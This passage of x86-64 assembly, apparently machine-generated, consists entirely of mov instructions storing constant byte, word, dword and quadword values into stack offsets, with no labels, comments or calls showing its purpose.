mov qword [rsp + 0xaac8], rax
mov dword [rsp + 0x5500], 0x7794
mov dword [rsp + 0x5504], 0x644f
movabs rax, 0x7ab43126375863
mov qword [rsp + 0xaad0], rax
mov eax, 0x7d
mov word [rsp + 0xfdc], ax
mov dword [rsp + 0x5508], 0x878
movabs rax, 0x7a30b22be6852d
mov qword [rsp + 0xaad8], rax
movabs rax, 0x70c47728ca44d0
mov qword [rsp + 0xaae0], rax
mov eax, 0x7ed
mov word [rsp + 0xfe0], ax
mov byte [rsp + 0x13d], 0x59
mov byte [rsp + 0x13e], 0x10
mov byte [rsp + 0x13f], 0x63
mov byte [rsp + 0x140], 7
mov eax, 0xf83
mov word [rsp + 0xfe4], ax
mov dword [rsp + 0x550c], 0x1ebd
mov byte [rsp + 0x141], 0x7b
mov eax, 0xcdf
mov word [rsp + 0xfe8], ax
mov byte [rsp + 0x142], 5
movabs rax, 0x70838860e5e75b
mov qword [rsp + 0xaae8], rax
mov byte [rsp + 0x143], 0xf2
mov eax, 0x2e1
mov word [rsp + 0xfec], ax
mov eax, 6
mov word [rsp + 0xff0], ax
mov dword [rsp + 0x5510], 0x10d2
mov dword [rsp + 0x5514], 0x7f15
mov byte [rsp + 0x144], 0x6a
mov eax, 0x528
mov word [rsp + 0xff4], ax
mov dword [rsp + 0x5518], 0xf840
movabs rax, 0x7bea7da65bb9a4
mov qword [rsp + 0xaaf0], rax
mov eax, 0x28e
mov word [rsp + 0xff8], ax
mov dword [rsp + 0x551c], 0x7d92
movabs rax, 0x7c1615a05781af
mov qword [rsp + 0xaaf8], rax
movabs rax, 0x74f9f3e81dc83c
mov qword [rsp + 0xab00], rax
movabs rax, 0x7a8ef09f5883a7
mov qword [rsp + 0xab08], rax
mov eax, 0x6d0
mov word [rsp + 0xffc], ax
movabs rax, 0x72fce81aa0dd50
mov qword [rsp + 0xab10], rax
movabs rax, 0x7e77e1b4c64e8f
mov qword [rsp + 0xab18], rax
mov byte [rsp + 0x145], 0x41
movabs rax, 0x7303a2e7302dc4
mov qword [rsp + 0xab20], rax
mov eax, 0x436
mov word [rsp + 0x1000], ax
mov byte [rsp + 0x146], 0xbf
movabs rax, 0x75be2972fdab81
mov qword [rsp + 0xab28], rax
movabs rax, 0x72733b9caa921c
mov qword [rsp + 0xab30], rax
mov byte [rsp + 0x147], 0x7e
mov byte [rsp + 0x148], 4
mov eax, 0xc1e
mov word [rsp + 0x1004], ax
movabs rax, 0x72f2fe56eebc98
mov qword [rsp + 0xab38], rax
mov byte [rsp + 0x149], 0x6a
mov eax, 0x763
mov word [rsp + 0x1008], ax
mov eax, 0x6e1
mov word [rsp + 0x100c], ax
mov dword [rsp + 0x5520], 0x4869
mov byte [rsp + 0x14a], 0x32
movabs rax, 0x79cea607df7e64
mov qword [rsp + 0xab40], rax
movabs rax, 0x76b30f28fb9a28
mov qword [rsp + 0xab48], rax
movabs rax, 0x74e84af7e2c075
mov qword [rsp + 0xab50], rax
mov dword [rsp + 0x5524], 0x6c3f
movabs rax, 0x78e582dad3d452
mov qword [rsp + 0xab58], rax
movabs rax, 0x77da12863d2996
mov qword [rsp + 0xab60], rax
movabs rax, 0x7ca33d5471acf5
mov qword [rsp + 0xab68], rax
mov eax, 0x38c
mov word [rsp + 0x1010], ax
movabs rax, 0x735cd7b2b4847a
mov qword [rsp + 0xab70], rax
mov dword [rsp + 0x5528], 0x336d
mov eax, 0x137
mov word [rsp + 0x1014], ax
mov dword [rsp + 0x552c], 0x5432
mov dword [rsp + 0x5530], 0x5c45
mov eax, 0x32f
mov word [rsp + 0x1018], ax
mov dword [rsp + 0x5534], 0x2f1f
mov dword [rsp + 0x5538], 0x8aaa
mov dword [rsp + 0x553c], 0x7179
mov dword [rsp + 0x5540], 0x54b7
movabs rax, 0x77f44448ac5dae
mov qword [rsp + 0xab78], rax
mov eax, 0x6a7
mov word [rsp + 0x101c], ax
movabs rax, 0x79b463ee7e1810
mov qword [rsp + 0xab80], rax
mov dword [rsp + 0x5544], 0x6652
mov byte [rsp + 0x14b], 0x22
mov dword [rsp + 0x5548], 0xd796
mov byte [rsp + 0x14c], 0x4d
mov byte [rsp + 0x14d], 0
movabs rax, 0x718b3d2bc00560
mov qword [rsp + 0xab88], rax
mov eax, 0x3fd
mov word [rsp + 0x1020], ax
movabs rax, 0x79879d294d0ae9
mov qword [rsp + 0xab90], rax
mov dword [rsp + 0x554c], 0x365f
mov eax, 0xe6c
mov word [rsp + 0x1024], ax
mov eax, 0x128
mov word [rsp + 0x1028], ax
movabs rax, 0x7028aad4d6fd85
mov qword [rsp + 0xab98], rax
mov dword [rsp + 0x5550], 0x51df
mov byte [rsp + 0x14e], 0xd2
movabs rax, 0x70deec2e236e8e
mov qword [rsp + 0xaba0], rax
mov dword [rsp + 0x5554], 0x7dd0
movabs rax, 0x725d185634910e
mov qword [rsp + 0xaba8], rax
movabs rax, 0x72b59cdc78b2cd
mov qword [rsp + 0xabb0], rax
movabs rax, 0x739020f0f6217d
mov qword [rsp + 0xabb8], rax
mov dword [rsp + 0x5558], 0x671e
mov eax, 0x764
mov word [rsp + 0x102c], ax
movabs rax, 0x7e2ae4a26998ce
mov qword [rsp + 0xabc0], rax
movabs rax, 0x785f75097fdcee
mov qword [rsp + 0xabc8], rax
movabs rax, 0x71b919c88c56fa
mov qword [rsp + 0xabd0], rax
mov byte [rsp + 0x14f], 0x40
movabs rax, 0x73bf22bf40123c
mov qword [rsp + 0xabd8], rax
mov dword [rsp + 0x555c], 0x681a
mov byte [rsp + 0x150], 4
movabs rax, 0x7a6f5ff4f73270
mov qword [rsp + 0xabe0], rax
movabs rax, 0x74a232c00e23ac
mov qword [rsp + 0xabe8], rax
mov eax, 0x719
mov word [rsp + 0x1030], ax
mov byte [rsp + 0x151], 0x16
movabs rax, 0x7a2eb0e52830d7
mov qword [rsp + 0xabf0], rax
mov eax, 0xbb3
mov word [rsp + 0x1034], ax
mov eax, 0x672
mov word [rsp + 0x1038], ax
movabs rax, 0x7155772cff9dc8
mov qword [rsp + 0xabf8], rax
movabs rax, 0x71c74286591e2b
mov qword [rsp + 0xac00], rax
mov byte [rsp + 0x152], 0xe
movabs rax, 0x7dcd3ca4445971
mov qword [rsp + 0xac08], rax
mov eax, 0x3ee
mov word [rsp + 0x103c], ax
mov eax, 0xc88
mov word [rsp + 0x1040], ax
mov byte [rsp + 0x153], 0x53
mov eax, 0x238
mov word [rsp + 0x1044], ax
mov dword [rsp + 0x5560], 0x2bca
mov eax, 0x1d5
mov word [rsp + 0x1048], ax
mov dword [rsp + 0x5564], 0xaedd
movabs rax, 0x7dc2acac1df672
mov qword [rsp + 0xac10], rax
mov dword [rsp + 0x5568], 0x7b3
movabs rax, 0x76e477b2d538dc
mov qword [rsp + 0xac18], rax
movabs rax, 0x740bc83e675b41
mov qword [rsp + 0xac20], rax
movabs rax, 0x78455fcbe33e4e
mov qword [rsp + 0xac28], rax
mov eax, 0x42
mov word [rsp + 0x104c], ax
movabs rax, 0x7baf0e8bbf8ce5
mov qword [rsp + 0xac30], rax
mov eax, 0x71b
mov word [rsp + 0x1050], ax
mov eax, 0x50b
mov word [rsp + 0x1054], ax
mov eax, 0x29f
mov word [rsp + 0x1058], ax
movabs rax, 0x7793f22cf36bc2
mov qword [rsp + 0xac38], rax
mov byte [rsp + 0x154], 0x6f
mov eax, 0x7eb
mov word [rsp + 0x105c], ax
mov dword [rsp + 0x556c], 0xea51
mov eax, 0xab9
mov word [rsp + 0x1060], ax
mov dword [rsp + 0x5570], 0x571e
movabs rax, 0x76ee97d2f4e67e
mov qword [rsp + 0xac40], rax
mov byte [rsp + 0x155], 0x3d
mov byte [rsp + 0x156], 0x5f
mov dword [rsp + 0x5574], 0x4778
mov dword [rsp + 0x5578], 0x7d17
mov dword [rsp + 0x557c], 0x4f21
mov eax, 0x216
mov word [rsp + 0x1064], ax
mov byte [rsp + 0x157], 0x2c
mov dword [rsp + 0x5580], 0x64e8
mov dword [rsp + 0x5584], 0x72c6
movabs rax, 0x75eec03df6da67
mov qword [rsp + 0xac48], rax
mov dword [rsp + 0x5588], 0xe97
mov eax, 0xec4
mov word [rsp + 0x1068], ax
mov byte [rsp + 0x158], 0xd0
mov eax, 0xa93
mov word [rsp + 0x106c], ax
movabs rax, 0x77cedb1f2d30db
mov qword [rsp + 0xac50], rax
mov eax, 0x584
mov word [rsp + 0x1070], ax
mov dword [rsp + 0x558c], 0x77de
mov eax, 0x663
mov word [rsp + 0x1074], ax
mov dword [rsp + 0x5590], 0x7566
movabs rax, 0x7d7708d6eb1918
mov qword [rsp + 0xac58], rax
mov byte [rsp + 0x159], 0x1d
mov dword [rsp + 0x5594], 0x6857
mov byte [rsp + 0x15a], 0xd9
mov dword [rsp + 0x5598], 0x4f1a
movabs rax, 0x7a7cde613dbd8b
mov qword [rsp + 0xac60], rax
mov eax, 0x364
mov word [rsp + 0x1078], ax
mov byte [rsp + 0x15b], 0x33
mov dword [rsp + 0x559c], 0xcd5e
mov byte [rsp + 0x15c], 0x12
mov eax, 0x4fc
mov word [rsp + 0x107c], ax
movabs rax, 0x7b37f6d1774736
mov qword [rsp + 0xac68], rax
mov dword [rsp + 0x55a0], 0x1c42
mov dword [rsp + 0x55a4], 0x50e8
mov byte [rsp + 0x15d], 0x4c
mov dword [rsp + 0x55a8], 0x4776
mov dword [rsp + 0x55ac], 0x58b1
mov byte [rsp + 0x15e], 0x4d
movabs rax, 0x7b844a130e114a
mov qword [rsp + 0xac70], rax
mov eax, 0x359
mov word [rsp + 0x1080], ax
mov dword [rsp + 0x55b0], 0xa2ee
movabs rax, 0x7542f76adb4a7b
mov qword [rsp + 0xac78], rax
mov eax, 0x2a6
mov word [rsp + 0x1084], ax
mov dword [rsp + 0x55b4], 0x4716
movabs rax, 0x7be69f838dbd14
mov qword [rsp + 0xac80], rax
movabs rax, 0x76cc96780b8476
mov qword [rsp + 0xac88], rax
mov eax, 0x328
mov word [rsp + 0x1088], ax
movabs rax, 0x734ec49e3af598
mov qword [rsp + 0xac90], rax
movabs rax, 0x7688970dfce043
mov qword [rsp + 0xac98], rax
mov eax, 0xfcb
mov word [rsp + 0x108c], ax
movabs rax, 0x7d94010bca4c24
mov qword [rsp + 0xaca0], rax
mov byte [rsp + 0x15f], 0x47
mov dword [rsp + 0x55b8], 0x6eca
movabs rax, 0x72f773c74a5c81
mov qword [rsp + 0xaca8], rax
movabs rax, 0x705c913218d8d5
mov qword [rsp + 0xacb0], rax
movabs rax, 0x72584a23ea6f78
mov qword [rsp + 0xacb8], rax
mov dword [rsp + 0x55bc], 0x1b7
mov dword [rsp + 0x55c0], 0xf873
movabs rax, 0x739e86e04a983f
mov qword [rsp + 0xacc0], rax
movabs rax, 0x7314baf67b4cf4
mov qword [rsp + 0xacc8], rax
mov dword [rsp + 0x55c4], 0x4aa5
mov eax, 0x476
mov word [rsp + 0x1090], ax
mov eax, 0xd19
mov word [rsp + 0x1094], ax
mov dword [rsp + 0x55c8], 0x5d15
movabs rax, 0x71ad6cf54e21b4
mov qword [rsp + 0xacd0], rax
mov dword [rsp + 0x55cc], 0xe74d
mov dword [rsp + 0x55d0], 0xf034
movabs rax, 0x74da0a03f51ab4
mov qword [rsp + 0xacd8], rax
mov eax, 0x166
mov word [rsp + 0x1098], ax
movabs rax, 0x7a9c1dcb5c2426
mov qword [rsp + 0xace0], rax
movabs rax, 0x759284eb4b3fca
mov qword [rsp + 0xace8], rax
mov dword [rsp + 0x55d4], 0xd77b
movabs rax, 0x703fa81a62261c
mov qword [rsp + 0xacf0], rax
mov eax, 0x34d
mov word [rsp + 0x109c], ax
mov dword [rsp + 0x55d8], 0xcb17
mov eax, 0x47
mov word [rsp + 0x10a0], ax
mov byte [rsp + 0x160], 0xe3
movabs rax, 0x7a74a73db88978
mov qword [rsp + 0xacf8], rax
movabs rax, 0x73aff417dd5b91
mov qword [rsp + 0xad00], rax
mov dword [rsp + 0x55dc], 0x6abb
mov byte [rsp + 0x161], 0x79
mov byte [rsp + 0x162], 0x43
mov eax, 0xb53
mov word [rsp + 0x10a4], ax
mov byte [rsp + 0x163], 0xf5
movabs rax, 0x750ea0b929ebd2
mov qword [rsp + 0xad08], rax
mov byte [rsp + 0x164], 0x1c
movabs rax, 0x70ae98f0f9cc60
mov qword [rsp + 0xad10], rax
mov dword [rsp + 0x55e0], 0xbf69
movabs rax, 0x7a9f463cb72b83
mov qword [rsp + 0xad18], rax
mov dword [rsp + 0x55e4], 0xba5
mov eax, 0xd85
mov word [rsp + 0x10a8], ax
movabs rax, 0x712438f5a015b4
mov qword [rsp + 0xad20], rax
mov eax, 0x1d1
mov word [rsp + 0x10ac], ax
movabs rax, 0x7c49739b391c4b
mov qword [rsp + 0xad28], rax
mov eax, 0xb81
mov word [rsp + 0x10b0], ax
mov dword [rsp + 0x55e8], 0xa6f
movabs rax, 0x72b468459c741c
mov qword [rsp + 0xad30], rax
mov byte [rsp + 0x165], 0xd8
mov dword [rsp + 0x55ec], 0x480c
mov eax, 0xb57
mov word [rsp + 0x10b4], ax
movabs rax, 0x7524e8746837ed
mov qword [rsp + 0xad38], rax
movabs rax, 0x7034ac417aa5be
mov qword [rsp + 0xad40], rax
mov byte [rsp + 0x166], 0x20
mov byte [rsp + 0x167], 0xd
mov eax, 0x553
mov word [rsp + 0x10b8], ax
mov byte [rsp + 0x168], 3
movabs rax, 0x78cea18848953b
mov qword [rsp + 0xad48], rax
mov eax, 0x59f
mov word [rsp + 0x10bc], ax
mov eax, 0xfa7
mov word [rsp + 0x10c0], ax
mov eax, 0x376
mov word [rsp + 0x10c4], ax
mov eax, 0x5c6
mov word [rsp + 0x10c8], ax
movabs rax, 0x7897dc420f134f
mov qword [rsp + 0xad50], rax
mov byte [rsp + 0x169], 0x6d
mov eax, 0x5c9
mov word [rsp + 0x10cc], ax
mov eax, 0x3c4
mov word [rsp + 0x10d0], ax
mov byte [rsp + 0x16a], 0xd
mov eax, 0xc87
mov word [rsp + 0x10d4], ax
mov dword [rsp + 0x55f0], 0x40e4
mov byte [rsp + 0x16b], 0x32
movabs rax, 0x7b5096746d475f
mov qword [rsp + 0xad58], rax
mov dword [rsp + 0x55f4], 0x2ca3
mov byte [rsp + 0x16c], 0x57
mov dword [rsp + 0x55f8], 0x1e22
movabs rax, 0x71f7e1376bb683
mov qword [rsp + 0xad60], rax
mov eax, 0x605
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x55fc], 0x1292
movabs rax, 0x78d52a88d9cd13
mov qword [rsp + 0xad68], rax
mov byte [rsp + 0x16d], 0x3a
mov dword [rsp + 0x5600], 0x4a6f
mov byte [rsp + 0x16e], 0x57
mov dword [rsp + 0x5604], 0xecf2
mov byte [rsp + 0x16f], 0x2b
movabs rax, 0x7883cac4fece0d
mov qword [rsp + 0xad70], rax
mov dword [rsp + 0x5608], 0xf5a4
mov eax, 0x467
mov word [rsp + 0x10dc], ax
movabs rax, 0x7a85d35e783ca2
mov qword [rsp + 0xad78], rax
movabs rax, 0x79fa786df15e62
mov qword [rsp + 0xad80], rax
mov eax, 0x35e
mov word [rsp + 0x10e0], ax
mov eax, 0x704
mov word [rsp + 0x10e4], ax
movabs rax, 0x79ef203bcd0852
mov qword [rsp + 0xad88], rax
mov eax, 0xfae
mov word [rsp + 0x10e8], ax
mov byte [rsp + 0x170], 0x7a
mov byte [rsp + 0x171], 0x68
mov dword [rsp + 0x560c], 0x4a11
mov byte [rsp + 0x172], 0xa8
movabs rax, 0x7300c5c5ad6404
mov qword [rsp + 0xad90], rax
mov eax, 0x47b
mov word [rsp + 0x10ec], ax
mov eax, 0x5b0
mov word [rsp + 0x10f0], ax
mov dword [rsp + 0x5610], 0x4be9
mov dword [rsp + 0x5614], 0x5714
mov byte [rsp + 0x173], 0x43
mov eax, 0xc4b
mov word [rsp + 0x10f4], ax
mov byte [rsp + 0x174], 0x7b
mov eax, 0x82e
mov word [rsp + 0x10f8], ax
mov byte [rsp + 0x175], 0x21
mov dword [rsp + 0x5618], 0xdc24
mov eax, 0x90d
mov word [rsp + 0x10fc], ax
mov dword [rsp + 0x561c], 0xce47
movabs rax, 0x797a9a2b67cd5e
mov qword [rsp + 0xad98], rax
mov dword [rsp + 0x5620], 0x1587
mov eax, 0xcdc
mov word [rsp + 0x1100], ax
mov eax, 0x549
mov word [rsp + 0x1104], ax
mov eax, 0x55d
mov word [rsp + 0x1108], ax
mov byte [rsp + 0x176], 0xc7
mov dword [rsp + 0x5624], 0x2610
mov byte [rsp + 0x177], 0x72
mov byte [rsp + 0x178], 0xa
movabs rax, 0x7b7052ef60ffe8
mov qword [rsp + 0xada0], rax
movabs rax, 0x7b6facdf40bb52
mov qword [rsp + 0xada8], rax
mov byte [rsp + 0x179], 0xee
mov eax, 0xed5
mov word [rsp + 0x110c], ax
mov byte [rsp + 0x17a], 0x54
movabs rax, 0x77fcde6c3df915
mov qword [rsp + 0xadb0], rax
mov byte [rsp + 0x17b], 0x46
mov dword [rsp + 0x5628], 0x3a87
mov dword [rsp + 0x562c], 0xdd35
mov byte [rsp + 0x17c], 0xe6
mov dword [rsp + 0x5630], 0x681f
mov eax, 0x5f7
mov word [rsp + 0x1110], ax
movabs rax, 0x70832fd454dfaa
mov qword [rsp + 0xadb8], rax
movabs rax, 0x712c10b6c42608
mov qword [rsp + 0xadc0], rax
mov eax, 0xe55
mov word [rsp + 0x1114], ax
mov dword [rsp + 0x5634], 0x5b02
mov dword [rsp + 0x5638], 0xd2
mov dword [rsp + 0x563c], 0x22a5
movabs rax, 0x7d836ce6665b58
mov qword [rsp + 0xadc8], rax
mov eax, 0xf81
mov word [rsp + 0x1118], ax
movabs rax, 0x7a5a10d2ca0454
mov qword [rsp + 0xadd0], rax
mov eax, 0xcbd
mov word [rsp + 0x111c], ax
mov byte [rsp + 0x17d], 0x67
mov dword [rsp + 0x5640], 0x3fa4
movabs rax, 0x74cfff0292cd7d
mov qword [rsp + 0xadd8], rax
movabs rax, 0x7bc64243597497
mov qword [rsp + 0xade0], rax
mov dword [rsp + 0x5644], 0xa9b8
mov dword [rsp + 0x5648], 0x6970
mov eax, 0x605
mov word [rsp + 0x1120], ax
movabs rax, 0x79f09603be6560
mov qword [rsp + 0xade8], rax
mov dword [rsp + 0x564c], 0xe915
mov eax, 0x765
mov word [rsp + 0x1124], ax
mov eax, 0xd37
mov word [rsp + 0x1128], ax
mov byte [rsp + 0x17e], 0x27
movabs rax, 0x7eef00e6a8b7f5
mov qword [rsp + 0xadf0], rax
mov eax, 0x7af
mov word [rsp + 0x112c], ax
mov byte [rsp + 0x17f], 0x9e
mov eax, 0xcab
mov word [rsp + 0x1130], ax
mov byte [rsp + 0x180], 0x52
movabs rax, 0x7e499c21f7c775
mov qword [rsp + 0xadf8], rax
mov eax, 0x664
mov word [rsp + 0x1134], ax
mov byte [rsp + 0x181], 0x2f
mov eax, 0x6d
mov word [rsp + 0x1138], ax
mov eax, 0x624
mov word [rsp + 0x113c], ax
mov eax, 0x32c
mov word [rsp + 0x1140], ax
movabs rax, 0x7377c4d9857a9e
mov qword [rsp + 0xae00], rax
mov dword [rsp + 0x5650], 0x2904
movabs rax, 0x7bf8dfb96de601
mov qword [rsp + 0xae08], rax
movabs rax, 0x71e767563d80bb
mov qword [rsp + 0xae10], rax
mov dword [rsp + 0x5654], 0xf0b6
movabs rax, 0x782d14f73e8658
mov qword [rsp + 0xae18], rax
mov byte [rsp + 0x182], 0xb7
movabs rax, 0x7733b50e7ea4c6
mov qword [rsp + 0xae20], rax
mov byte [rsp + 0x183], 0x18
mov byte [rsp + 0x184], 0x37
mov dword [rsp + 0x5658], 0x6e4a
mov eax, 0x2fb
mov word [rsp + 0x1144], ax
movabs rax, 0x755cb0f19f0e45
mov qword [rsp + 0xae28], rax
mov eax, 0xc7e
mov word [rsp + 0x1148], ax
movabs rax, 0x7cac72661c319b
mov qword [rsp + 0xae30], rax
movabs rax, 0x71e3d3f42abb41
mov qword [rsp + 0xae38], rax
mov dword [rsp + 0x565c], 0xdff
mov dword [rsp + 0x5660], 0x340f
mov eax, 0x152
mov word [rsp + 0x114c], ax
mov eax, 0xc1e
mov word [rsp + 0x1150], ax
mov dword [rsp + 0x5664], 0x4a1a
mov eax, 0xc5f
mov word [rsp + 0x1154], ax
mov eax, 0x4c3
mov word [rsp + 0x1158], ax
mov eax, 0x982
mov word [rsp + 0x115c], ax
movabs rax, 0x7de57b5449074c
mov qword [rsp + 0xae40], rax
mov byte [rsp + 0x185], 0xfb
movabs rax, 0x77e6b98ca2c9cb
mov qword [rsp + 0xae48], rax
mov dword [rsp + 0x5668], 0xdb13
mov eax, 0x8d7
mov word [rsp + 0x1160], ax
mov eax, 0x733
mov word [rsp + 0x1164], ax
mov eax, 0x6df
mov word [rsp + 0x1168], ax
movabs rax, 0x7bb4fb77f5d8a0
mov qword [rsp + 0xae50], rax
movabs rax, 0x7d856af863d2e7
mov qword [rsp + 0xae58], rax
mov dword [rsp + 0x566c], 0x8097
mov dword [rsp + 0x5670], 0xf785
mov eax, 0x4e8
mov word [rsp + 0x116c], ax
mov dword [rsp + 0x5674], 0xff9b
mov byte [rsp + 0x186], 0xc1
mov eax, 0x172
mov word [rsp + 0x1170], ax
mov eax, 0x45d
mov word [rsp + 0x1174], ax
mov dword [rsp + 0x5678], 0x6e57
mov dword [rsp + 0x567c], 0x2f03
mov eax, 0xb26
mov word [rsp + 0x1178], ax
mov eax, 0xf4b
mov word [rsp + 0x117c], ax
mov byte [rsp + 0x187], 0xe7
mov dword [rsp + 0x5680], 0x5e94
mov dword [rsp + 0x5684], 0x23fd
movabs rax, 0x7c7c04e3f3efe7
mov qword [rsp + 0xae60], rax
mov eax, 0xa96
mov word [rsp + 0x1180], ax
mov eax, 0xff2
mov word [rsp + 0x1184], ax
mov byte [rsp + 0x188], 0x2a
mov byte [rsp + 0x189], 0x3f
mov eax, 0x11a
mov word [rsp + 0x1188], ax
movabs rax, 0x72a07b86c9e4c3
mov qword [rsp + 0xae68], rax
movabs rax, 0x7e8e86ad459ffa
mov qword [rsp + 0xae70], rax
mov eax, 0x72d
mov word [rsp + 0x118c], ax
mov dword [rsp + 0x5688], 0x8bc4
mov eax, 0xe7b
mov word [rsp + 0x1190], ax
mov byte [rsp + 0x18a], 0xb
mov eax, 0x85a
mov word [rsp + 0x1194], ax
mov eax, 0x3f7
mov word [rsp + 0x1198], ax
mov eax, 0x695
mov word [rsp + 0x119c], ax
movabs rax, 0x7659946ddb8e73
mov qword [rsp + 0xae78], rax
movabs rax, 0x732472580e7e88
mov qword [rsp + 0xae80], rax
mov eax, 0xa4d
mov word [rsp + 0x11a0], ax
movabs rax, 0x77aee3457bf975
mov qword [rsp + 0xae88], rax
mov dword [rsp + 0x568c], 0x999c
movabs rax, 0x7b10d8725dbe27
mov qword [rsp + 0xae90], rax
mov eax, 0x898
mov word [rsp + 0x11a4], ax
mov dword [rsp + 0x5690], 0x2677
movabs rax, 0x75de0098406449
mov qword [rsp + 0xae98], rax
mov byte [rsp + 0x18b], 0x74
mov dword [rsp + 0x5694], 0xe75a
mov eax, 0x9ef
mov word [rsp + 0x11a8], ax
mov dword [rsp + 0x5698], 0x51c6
mov eax, 0x669
mov word [rsp + 0x11ac], ax
mov byte [rsp + 0x18c], 0x49
movabs rax, 0x7190509d00312f
mov qword [rsp + 0xaea0], rax
mov byte [rsp + 0x18d], 0xfa
mov eax, 0x432
mov word [rsp + 0x11b0], ax
movabs rax, 0x7bcb8774e01323
mov qword [rsp + 0xaea8], rax
movabs rax, 0x7ed93d74642f4a
mov qword [rsp + 0xaeb0], rax
mov dword [rsp + 0x569c], 0xb8b9
mov dword [rsp + 0x56a0], 0x6285
mov byte [rsp + 0x18e], 0x44
movabs rax, 0x74e4bb64ea6ebd
mov qword [rsp + 0xaeb8], rax
mov eax, 0x547
mov word [rsp + 0x11b4], ax
mov byte [rsp + 0x18f], 9
mov byte [rsp + 0x190], 0x61
mov byte [rsp + 0x191], 0x24
mov dword [rsp + 0x56a4], 0x93a5
mov eax, 0xeca
mov word [rsp + 0x11b8], ax
mov dword [rsp + 0x56a8], 0x769b
mov byte [rsp + 0x192], 0xbd
movabs rax, 0x79493b374fcd15
mov qword [rsp + 0xaec0], rax
movabs rax, 0x7cbfe72a664c09
mov qword [rsp + 0xaec8], rax
movabs rax, 0x7a5172b5660f7f
mov qword [rsp + 0xaed0], rax
movabs rax, 0x79d9739958b6de
mov qword [rsp + 0xaed8], rax
movabs rax, 0x77fabcc7d55b3a
mov qword [rsp + 0xaee0], rax
mov byte [rsp + 0x193], 0xf2
mov dword [rsp + 0x56ac], 0x6933
mov dword [rsp + 0x56b0], 0x9006
mov eax, 0x72f
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x56b4], 0x12b9
movabs rax, 0x7a9940b988a7de
mov qword [rsp + 0xaee8], rax
mov dword [rsp + 0x56b8], 0x3cf6
mov dword [rsp + 0x56bc], 0x78fc
mov dword [rsp + 0x56c0], 0x5aea
mov dword [rsp + 0x56c4], 0x21b6
movabs rax, 0x74b92e942214be
mov qword [rsp + 0xaef0], rax
mov eax, 0x7b8
mov word [rsp + 0x11c0], ax
mov eax, 0x332
mov word [rsp + 0x11c4], ax
movabs rax, 0x7dfcac6a08de8a
mov qword [rsp + 0xaef8], rax
mov byte [rsp + 0x194], 0x2e
mov byte [rsp + 0x195], 0x60
mov eax, 0x37f
mov word [rsp + 0x11c8], ax
mov byte [rsp + 0x196], 0xb0
mov byte [rsp + 0x197], 0xa0
mov eax, 0x774
mov word [rsp + 0x11cc], ax
mov dword [rsp + 0x56c8], 0x9147
mov eax, 0x33f
mov word [rsp + 0x11d0], ax
mov byte [rsp + 0x198], 0x3d
mov byte [rsp + 0x199], 0xec
mov eax, 0x507
mov word [rsp + 0x11d4], ax
mov dword [rsp + 0x56cc], 0x7ed5
mov byte [rsp + 0x19a], 0x1e
mov dword [rsp + 0x56d0], 0x7267
movabs rax, 0x72b98241e36b59
mov qword [rsp + 0xaf00], rax
mov dword [rsp + 0x56d4], 0xcf46
mov dword [rsp + 0x56d8], 0x672
movabs rax, 0x79c2ac8402ba15
mov qword [rsp + 0xaf08], rax
movabs rax, 0x77b29ae1847fad
mov qword [rsp + 0xaf10], rax
mov dword [rsp + 0x56dc], 0x8ca9
mov dword [rsp + 0x56e0], 0x54bf
mov eax, 0x4d4
mov word [rsp + 0x11d8], ax
mov dword [rsp + 0x56e4], 0x663
mov dword [rsp + 0x56e8], 0x5b0a
mov byte [rsp + 0x19b], 0x5e
mov dword [rsp + 0x56ec], 0x486b
mov dword [rsp + 0x56f0], 0x54d7
movabs rax, 0x7ddb1c25c543a1
mov qword [rsp + 0xaf18], rax
mov dword [rsp + 0x56f4], 0x57b9
movabs rax, 0x75151cc0ac0f4c
mov qword [rsp + 0xaf20], rax
mov eax, 0x16f
mov word [rsp + 0x11dc], ax
mov byte [rsp + 0x19c], 0xa6
mov dword [rsp + 0x56f8], 0x59c8
movabs rax, 0x7dc809f8b30f2f
mov qword [rsp + 0xaf28], rax
mov byte [rsp + 0x19d], 6
mov byte [rsp + 0x19e], 0x26
mov eax, 0x613
mov word [rsp + 0x11e0], ax
mov byte [rsp + 0x19f], 0x71
movabs rax, 0x7c920fd73a305e
mov qword [rsp + 0xaf30], rax
mov dword [rsp + 0x56fc], 0x773a
movabs rax, 0x7ad0efdbb4493c
mov qword [rsp + 0xaf38], rax
mov byte [rsp + 0x1a0], 0x45
mov byte [rsp + 0x1a1], 0xe7
mov dword [rsp + 0x5700], 0x5833
mov eax, 0x211
mov word [rsp + 0x11e4], ax
mov byte [rsp + 0x1a2], 0x31
movabs rax, 0x758bad7215ecee
mov qword [rsp + 0xaf40], rax
mov byte [rsp + 0x1a3], 0x57
mov eax, 0x9ce
mov word [rsp + 0x11e8], ax
mov byte [rsp + 0x1a4], 0x41
mov dword [rsp + 0x5704], 0x7577
movabs rax, 0x762fd0011df8c5
mov qword [rsp + 0xaf48], rax
mov eax, 0x777
mov word [rsp + 0x11ec], ax
mov dword [rsp + 0x5708], 0xb239
mov eax, 0xb84
mov word [rsp + 0x11f0], ax
mov eax, 0x59e
mov word [rsp + 0x11f4], ax
movabs rax, 0x7a533255fbd2bb
mov qword [rsp + 0xaf50], rax
mov eax, 0x2f4
mov word [rsp + 0x11f8], ax
movabs rax, 0x7d2d0212a2fbce
mov qword [rsp + 0xaf58], rax
movabs rax, 0x75515659c89622
mov qword [rsp + 0xaf60], rax
mov dword [rsp + 0x570c], 0x5763
mov eax, 0x13e
mov word [rsp + 0x11fc], ax
movabs rax, 0x7ef898b4c343fa
mov qword [rsp + 0xaf68], rax
mov eax, 0x3d3
mov word [rsp + 0x1200], ax
movabs rax, 0x72f5c34a32d4f0
mov qword [rsp + 0xaf70], rax
mov byte [rsp + 0x1a5], 0x3a
movabs rax, 0x781925312948b0
mov qword [rsp + 0xaf78], rax
mov byte [rsp + 0x1a6], 9
movabs rax, 0x73a92f94518d7f
mov qword [rsp + 0xaf80], rax
mov byte [rsp + 0x1a7], 0xd1
movabs rax, 0x7446781556cfd8
mov qword [rsp + 0xaf88], rax
mov dword [rsp + 0x5710], 0xfd23
mov dword [rsp + 0x5714], 0xbddd
mov eax, 0x2d
mov word [rsp + 0x1204], ax
mov dword [rsp + 0x5718], 0xcf96
movabs rax, 0x760cd9d702285f
mov qword [rsp + 0xaf90], rax
movabs rax, 0x73fefa90f0acd7
mov qword [rsp + 0xaf98], rax
mov eax, 0x31a
mov word [rsp + 0x1208], ax
movabs rax, 0x7df03f1805acac
mov qword [rsp + 0xafa0], rax
movabs rax, 0x743c9dbfc93fb7
mov qword [rsp + 0xafa8], rax
mov byte [rsp + 0x1a8], 0xc7
